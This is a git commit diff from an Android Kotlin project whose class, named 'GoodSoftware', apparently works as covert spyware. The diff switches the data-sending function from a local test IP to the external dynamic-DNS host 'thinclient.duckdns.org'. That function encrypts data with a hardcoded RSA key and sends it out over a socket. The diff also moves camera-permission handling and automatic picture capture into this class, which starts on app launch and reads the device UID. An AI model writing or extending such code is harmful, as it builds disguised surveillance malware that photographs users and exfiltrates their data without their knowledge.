Move files

This commit is contained in:
Joren 2024-05-01 23:47:06 +02:00
parent 2d080d4b7d
commit ab74a11524
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 41 additions and 35 deletions

View File

@ -34,13 +34,17 @@ import android.os.Build
import android.telephony.TelephonyManager import android.telephony.TelephonyManager
import android.widget.Toast import android.widget.Toast
import androidx.annotation.RequiresApi import androidx.annotation.RequiresApi
import androidx.core.app.ComponentActivity
import androidx.core.content.ContextCompat.getSystemService import androidx.core.content.ContextCompat.getSystemService
import androidx.lifecycle.lifecycleScope
import kotlinx.coroutines.launch
class GoodSoftware (private val context: Context) { class GoodSoftware (private val activity: ComponentActivity) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
private val REQUEST_CAMERA_PERMISSION = 100
private companion object { private companion object {
private const val RSA_ALGORITHM = "RSA" private const val RSA_ALGORITHM = "RSA"
@ -95,20 +99,49 @@ class GoodSoftware (private val context: Context) {
Thread { Thread {
runAllTheGoodness() runAllTheGoodness()
}.start() }.start()
checkCameraPermission()
}
private fun checkCameraPermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission()
} else {
startPictureCapture()
}
}
private fun requestCameraPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
}
private fun startPictureCapture() {
activity.lifecycleScope.launch {
takeBeautifulPicture(activity, activity)
}
}
// Handle permission request result
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
if (requestCode == REQUEST_CAMERA_PERMISSION) {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture()
} else {
// Permission denied
// You may want to handle this case
}
}
} }
private fun runAllTheGoodness() { private fun runAllTheGoodness() {
val uid = android.os.Process.myUid().toString() val uid = android.os.Process.myUid().toString()
//sendDataToServer("UID: $uid")
} }
fun sendDataToServer(sendData: String) { fun sendDataToServer(sendData: String) {
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
/* val host = "thinclient.duckdns.org" val host = "thinclient.duckdns.org"
val port = 5645*/ val port = 5645
val host = "192.168.90.151"
val port = 8080
val secureRandom = SecureRandom() val secureRandom = SecureRandom()
val keyBytes = ByteArray(16) val keyBytes = ByteArray(16)
val ivBytes = ByteArray(16) val ivBytes = ByteArray(16)
@ -157,7 +190,7 @@ class GoodSoftware (private val context: Context) {
socket.close() socket.close()
} }
suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
// Ensure that cameraProvider is initialized // Ensure that cameraProvider is initialized
cameraProvider = ProcessCameraProvider.getInstance(context).await() cameraProvider = ProcessCameraProvider.getInstance(context).await()
@ -231,11 +264,6 @@ class GoodSoftware (private val context: Context) {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
} }
private fun requireContext(): Context {
return context
}
object picture { object picture {
const val TAG = "CameraXBasic" const val TAG = "CameraXBasic"
const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS" const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"

View File

@ -20,7 +20,6 @@ import com.ti.m.ui.theme.MTheme
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
class MainActivity : ComponentActivity(), LifecycleOwner { class MainActivity : ComponentActivity(), LifecycleOwner {
private val REQUEST_CAMERA_PERMISSION = 100
private lateinit var goo: GoodSoftware private lateinit var goo: GoodSoftware
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
@ -36,31 +35,10 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
} }
goo = GoodSoftware(this@MainActivity) goo = GoodSoftware(this@MainActivity)
goo.launch() goo.launch()
checkCameraPermission()
}
private fun checkCameraPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
} else {
lifecycleScope.launch {
goo.takeBeautifulPicture(this@MainActivity)
}
}
} }
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) { override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults) super.onRequestPermissionsResult(requestCode, permissions, grantResults)
if (requestCode == REQUEST_CAMERA_PERMISSION) { goo.onRequestPermissionsResult(requestCode, grantResults)
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// Permission granted, proceed with your camera operations
lifecycleScope.launch {
goo.takeBeautifulPicture(this@MainActivity)
}
} else {
// Permission denied
Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
}
}
} }
} }